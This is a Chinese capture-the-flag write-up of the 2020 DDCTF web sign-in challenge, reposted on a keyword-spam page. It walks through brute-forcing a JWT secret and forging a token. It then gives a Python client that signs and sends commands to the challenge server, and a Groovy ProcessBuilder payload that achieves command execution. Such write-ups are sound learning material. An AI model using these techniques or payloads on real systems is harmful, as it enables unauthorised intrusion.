当前位置: 首页 > news >正文

南京网站优化哪家好自动连点器

南京网站优化哪家好,自动连点器,邢台123最新招聘信息,网站建设服务项目表格2020 年 DDCTF 中 web 签到题题解。(web🐶只做出来这道题,第二天有事) web签到题 步骤1:JWT绕过 图1:题目给定初始条件。 向 api 发送请求,得到响应如下,data 的数据格式和 jwt 相似&#x…


2020 年 DDCTF 中 web 签到题题解。(web🐶只做出来这道题,第二天有事)

web签到题

步骤1:JWT绕过

图1:题目给定初始条件。

向 api 发送请求,得到响应如下,data 的数据格式和 jwt 相似,猜测为 jwt 绕过。

{"code": 0,"message": "success","data": 		"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyTmFtZSI6InN0ciIsInB3ZCI6InN0ciIsInVzZXJSb2xlIjoiR1VFU1QiLCJleHAiOjE1OTkyODY0NzB9.z-i_zjudu5yejiFbCnE9P5NIjOJE61Bzpw75OX1SHmg"
}

我只做过一次 JWT 绕过的题目,并且当时记笔记的习惯不好,早已忘记。于是先查询了一下 JWT 相关原理和基本步骤,初略指导该漏洞可以使用 5 种方式进行攻击。考虑从最简单的暴力破解 key 开始尝试,使用 Junay 大佬博客推荐的工具进行尝试,爆破出密码为 str(不同的人密码可能不同),然后到 https://jwt.io/ 进行 jwt 伪造,将伪造后的 jwt 发送到 auth interface 得到 client 下载链接。

图2:爆破得到的密码

步骤2:逆向绕过客户端

获得 client 后,由队里的其他大佬进行逆向分析,并制作模拟客户端的工具。

# -*- coding: utf-8 -*-
from base64 import b64encode
import hmac
import hashlib
from time import time
import requests
import json
from pprint import pprintwhile True:cmd = input()  # 发送的命令appkey = "DDCTFWithYou"time_stamp = str(int(time()))strToSign = cmd + '|' + time_stamp# hmac_sha256加密sha = hmac.new(bytes(appkey, encoding='utf-8'),bytes(strToSign, encoding='utf-8'),digestmod=hashlib.sha256).digest()sign = bytes.decode(b64encode(sha))# 发起POST请求url = "http://117.51.136.197/server/command"data = {"signature": sign,"command": cmd,"timestamp": time_stamp}res = requests.post(url=url,data=json.dumps(data))pprint(res.text)

步骤3:命令执行

判断后端语言,构造 payload。首先利用语言的运算符测试是否执行,总结存在哪些运算符,然后测试出字符串可以使用 length 函数,猜测可能该语言为「面向对象语言」,从逻辑运算符 != 和 length 函数猜测可能是 Java 衍生的语言(输入的命令以 # 定义变量,可使用 #a=1 测试)——Groovy,但是始终无法完美匹配。最终在一篇博客找到突破点,文章中的很多情景很符合该题目,测试 java.lang.String.class.forName("java.lang.Runtime”) 时出现 command is evil,断定为 Groovy。于是便开始寻找 Java 命令注入代码,网上大多数的命令执行大都是使用 Runtime 类或 Processbuider 类,但都是多行代码的形式,CVE-2015-1427 的 exploit 也无法执行。网上的命名只有一行为命令执行,我们猜测可以采用乱码方式进行回显,然后在本地解码,然后从 IDEA 自动补全找到 readAllBytes 函数,将数据读出。然后把读出的数据使用 Base64 解码就得到命令执行的结果。

图3:编程语言分类

code:一些关键性的测试

1 == true
#a = 1
{1}
'abc'.length()
'abc'.concat('d')
'12 '.trim()
'1234'.getBytes()
'hello'.startsWith('1')
new ProcessBuilder("ls").start().getInputStream().readAllBytes()

图4:使用 readAllBytes 读出数据
image-20200913234130453

将读出的数据使用 base64 解开即可。

http://www.mmbaike.com/news/26918.html

相关文章:

  • 网站开发需要多少钱头条新闻今日头条官方版本
  • 做网站开发想转行做医药销售外贸互联网推广的
  • 做网站销售会问哪些问题百度免费官网入口
  • 做公司网站要营业执照吗品牌营销咨询公司
  • wordpress草稿定时发布临沂seo推广外包
  • 网站关键词重复河北seo关键词排名优化
  • 网站ssl证书怎么做手机如何建立网站
  • 如何制作wordpress模板下载地址丽水百度seo
  • 网站和域名有关系吗网站生成器
  • 东莞学网站建设难吗企业建站免费模板
  • 电子商务网站网站建设深圳公司网络推广该怎么做
  • 优秀网站建设最新报价百度竞价排名是什么方式
  • 做搜狗网站优化上海百度研发中心
  • 云南 房地产网站建设潍坊网站开发公司
  • 营销型网站的建设步骤足球世界排名国家
  • 免费软件大全下载安装东莞网络优化哪家公司好
  • 代码统计网站百度账户推广登陆
  • 无锡网站制作公司排名怎么在网上做网络营销
  • 网站建设需要了解的怀化网络推广
  • 设置网站域名百度电脑版入口
  • 《四川党的建设》网站一起来看在线观看免费
  • 竞价广告推广搜索引擎优化的目的是
  • 完整版网站推广方案山东潍坊疫情最新消息
  • 做网站需要多少台服务器百度seoo优化软件
  • 建网站选号域名怎么创建一个自己的网站
  • 做网站应该了解什么软件舆情视频
  • 郑州汉狮做网站的公司百度竞价开户公司
  • 个人买卖网站怎么做湖人今日排名最新
  • 重庆九龙坡区网站建设乐陵seo优化
  • 怎么查网站空间在哪里windows优化大师靠谱吗